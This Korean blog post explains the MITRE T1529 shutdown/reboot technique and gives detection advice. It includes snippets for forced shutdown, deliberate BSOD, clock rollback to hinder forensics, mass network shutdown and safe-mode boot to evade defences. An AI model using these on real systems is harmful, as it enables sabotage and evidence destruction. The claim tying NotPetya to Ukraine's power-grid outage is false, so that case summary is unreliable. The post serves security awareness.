COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
MITRE T1529 System Shutdown 공격 기법의 동작 원리와 APT 그룹이 시스템 재부팅으로 메모리 증거를 완전 소거하는 상세한 방법을 실제 사례 중심으로 분석합니다. NotPetya, Olympic Destroyer 공격과 방어 전략까지.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
MITRE ATT&CK 프레임워크의 T1529 "System Shutdown/Reboot" 기법은 현재까지 다수의 APT 그룹과 주요 랜섬웨어가 활용하고 있다. 시스템 종료나 재부팅이라는 단순한 행위가 왜 사이버 공격의 핵심 기법이 되었을까?
과거 공격자들은 시스템에 침투한 후 흔적을 지우기 위해 복잡한 로그 삭제 스크립트를 실행하거나 개별 파일을 하나씩 제거해야 했다. 하지만 메모리에 남은 증거나 임시 파일들은 완전히 제거하기 어려웠고, 보안 도구들이 실시간으로 모니터링하는 상황에서는 은밀한 정리 작업이 거의 불가능했다.
T1529는 이런 복잡한 과정을 단순화했다. 시스템 재부팅 한 번으로 메모리 증거를 완전히 소거하고, 동시에 피해자의 접근을 차단하며, 복구 작업까지 방해할 수 있게 된 것이다.
Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. — MITRE ATT&CK T1529
T1529는 공격자가 시스템의 가용성을 방해하고 증거를 인멸하기 위해 의도적으로 시스템을 종료하거나 재부팅하는 공격 기법이다. 단순해 보이지만 공격자에게는 여러 목적을 동시에 달성할 수 있는 효과적인 도구이다.
| 기법 | 설명 |
|---|---|
| T1529 System Shutdown | 목적: 가용성 차단 + 증거 인멸 / 영향 범위: 전체 시스템 / 복구 난이도: 중간 (재부팅 후 복구) / 탐지 가능성: 높음 (명확한 로그) |
| T1485 Data Destruction | 목적: 데이터 파괴 / 영향 범위: 특정 파일/디스크 / 복구 난이도: 매우 높음 (복구 불가) / 탐지 가능성: 중간 (파일별 추적) |
| T1562 Impair Defenses | 목적: 보안 도구 무력화 / 영향 범위: 보안 시스템만 / 복구 난이도: 낮음 (재시작 가능) / 탐지 가능성: 낮음 (은밀한 비활성화) |
| T1070 Indicator Removal | 목적: 증거 은폐 / 영향 범위: 로그/흔적만 / 복구 난이도: 낮음 (백업 존재 시) / 탐지 가능성: 낮음 (개별 파일 삭제) |
| T1498 Network DoS | 목적: 네트워크 차단 / 영향 범위: 네트워크 연결 / 복구 난이도: 낮음 (트래픽 차단 해제) / 탐지 가능성: 높음 (네트워크 모니터링) |
T1529 공격은 다음과 같은 핵심 요소로 구성된다:
Windows에서 시스템을 강제로 종료하려면 SeShutdownPrivilege 권한이 필요하다. 일반 사용자 계정으로는 이 권한이 제한되어 있기 때문에, 공격자는 먼저 권한을 상승시켜야 한다.
// Windows API를 통한 권한 획득 예시
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
// 현재 프로세스 토큰 획득
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
// SeShutdownPrivilege 권한 활성화
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
공격자는 주로 두 가지 Windows API 함수를 활용한다:
InitiateSystemShutdownExW 함수 활용
// 강제 시스템 종료 실행
BOOL result = InitiateSystemShutdownExW(
NULL, // 로컬 시스템 대상
L"System maintenance", // 종료 메시지 (위장용)
0, // 대기 시간 없음
TRUE, // 강제 종료 (앱 종료 대기 안함)
FALSE, // 재부팅 아닌 종료
SHTDN_REASON_MAJOR_SYSTEM | SHTDN_REASON_MINOR_MAINTENANCE
);
ExitWindowsEx 함수를 통한 즉시 재부팅
// 즉시 재부팅 실행
ExitWindowsEx(
EWX_REBOOT | EWX_FORCE, // 강제 재부팅 플래그
SHTDN_REASON_MAJOR_SYSTEM | SHTDN_REASON_MINOR_MAINTENANCE
);
더욱 은밀한 방법으로는 블루스크린(BSOD) 을 의도적으로 유발하는 기법이 있다:
// NtRaiseHardError를 통한 BSOD 유발
NTSTATUS status = NtRaiseHardError(
STATUS_ASSERTION_FAILURE, // 오류 코드
0, // 매개변수 수
0, // 유니코드 문자열 마스크
NULL, // 매개변수 배열
OptionShutdownSystem, // 시스템 종료 옵션
&Response // 응답 저장
);
이 방법의 장점은 시스템 오류로 위장할 수 있어 의도적인 공격으로 의심받을 가능성이 낮다는 점이다.
Linux/Unix 시스템에서의 실행
# 즉시 시스템 종료
shutdown -h now
# 강제 재부팅
reboot -f
# init 프로세스를 통한 종료
init 0
네트워크 장비에서의 실행
# Cisco 장비 재부팅
reload
# 설정 저장 없이 강제 재부팅
reload /noverify
가상화 환경에서의 실행
# VMware ESXi 호스트 재부팅
esxcli system shutdown reboot -r "maintenance"
# Docker 컨테이너 강제 종료
docker kill --signal=KILL container_id
T1529는 단독으로 사용되기보다는 다른 파괴적 기법과 연계된다. 화재 현장에서 증거를 태운 후 건물을 무너뜨리는 것과 같다. 중요한 데이터를 먼저 파괴한 후 시스템을 재부팅해 모든 흔적을 지운다.
일반적인 연계 공격 패턴:
공격자는 시스템 종료 전에 시스템 시간을 조작하여 포렌식 분석을 방해하기도 한다:
// 시간 조작 후 시스템 종료
SYSTEMTIME st;
GetSystemTime(&st);
st.wYear = 1999; // 시간 되돌리기
SetSystemTime(&st);
// 종료 실행
ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0);
네트워크로 연결된 여러 시스템을 동시에 종료시키는 스크립트도 활용된다:
# PowerShell을 이용한 네트워크 전체 종료
$computers = Get-Content "target_list.txt"
foreach ($computer in $computers) {
shutdown /s /m \\$computer /f /t 0
}
일부 공격자는 시스템을 안전 모드로 부팅하도록 설정한 후 재부팅한다:
# 다음 부팅 시 안전 모드 진입 설정
bcdedit /set {current} safeboot minimal
shutdown /r /f /t 0
안전 모드에서는 대부분의 보안 소프트웨어가 작동하지 않아 추가 공격이 용이해집니다.
공격자에게 T1529는 단순한 시스템 종료가 아닌 다목적 전술 도구 이다. 왜 이 기법이 다수 APT 그룹의 선택을 받았을까요?
메모리에 남은 공격 도구, 암호화 키, 네트워크 연결 정보가 전부 사라집다. 포렌식 조사관이 메모리 덤프를 분석하려 해도 이미 늦은 상황이 된다.
# 공격자의 타이밍 계산 예시
import time
import subprocess
def execute_attack():
# 1. 랜섬웨어 배포 (30분 소요)
deploy_ransomware()
# 2. 데이터 암호화 대기
time.sleep(1800) # 30분 대기
# 3. 보안팀 대응 전 시스템 종료
subprocess.run(['shutdown', '/s', '/f', '/t', '0'])
보안팀이 침입을 탐지하고 대응하는 평균 시간은 수개월이지만, 실제 공격 실행 후 시스템 종료까지는 불과 몇 시간이다. 공격자는 이 시간차를 악용한다.
시스템이 재부팅되면서 다음과 같은 복구 장애가 발생한다:
NotPetya (2017): 우크라이나 전력망 마비
// NotPetya의 시스템 종료 코드 (단순화)
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
// 권한 상승 후 즉시 재부팅
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
}
NotPetya는 MBR(Master Boot Record)를 파괴한 후 시스템을 재부팅했다. 재부팅 후에는 시스템이 아예 부팅되지 않아 막대한 피해를 야기했다.
Olympic Destroyer (2018): 평창 올림픽 개막식 방해
평창 올림픽 개막식 당일, Olympic Destroyer는 올림픽 IT 인프라에 침투한 후:
이로 인해 개막식 WiFi, 웹사이트, 모바일 앱이 모두 마비되었다.
완화 전략의 근본적 한계
This type of attack technique cannot be easily mitigated with preventive controls since it is based on abuse of system features. — MITRE ATT&CK T1529 Mitigation
T1529는 정상적인 시스템 기능을 악용하므로 예방적 차단이 거의 불가능 한다. 시스템 종료 기능 자체를 막을 수는 없기 때문이다.
탐지 중심의 대응 전략
Windows 이벤트 로그 모니터링
<Event>
<EventData>
<Data Name="User">DOMAIN\suspicious_user</Data>
<Data Name="Process">malware.exe</Data>
<Data Name="Reason">0x80020002</Data>
<Data Name="ShutdownType">restart</Data>
</EventData>
</Event>
프로세스 실행 모니터링
# PowerShell로 의심스러운 종료 명령 탐지
Get-WinEvent -FilterHashtable @{LogName='System'; ID=1074} |
Where-Object {$_.Properties[4].Value -match "malware|suspicious"}
API 호출 모니터링
# Python으로 시스템 종료 API 호출 감시
import ctypes
from ctypes import wintypes
# API 후킹을 통한 모니터링
def monitor_shutdown_api():
kernel32 = ctypes.windll.kernel32
# ExitWindowsEx 호출 감지 로직
pass
T1529 System Shutdown/Reboot는 단순해 보이지만 공격자에게는 증거 인멸, 접근 차단, 복구 방해라는 여러 목적을 동시에 달성할 수 있는 효과적인 기법이다.
이 기법은 T1562 보안 무력화나 T1485 데이터 파괴와 연계되어 사용될 때 더욱 큰 피해를 야기한다. 특히 NotPetya 공격에서 보았듯이 랜섬웨어와 결합되면 복구 불가능한 시스템 파괴까지 이어질 수 있다.
앞으로 알아볼 관련 주제로는 시스템 복구 방해 기법인 T1490 Inhibit System Recovery, 디스크 구조 파괴 기법인 T1561 Disk Wipe. 그리고 레지스트리 조작을 통한 시스템 변조 기법인 T1112가 있다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.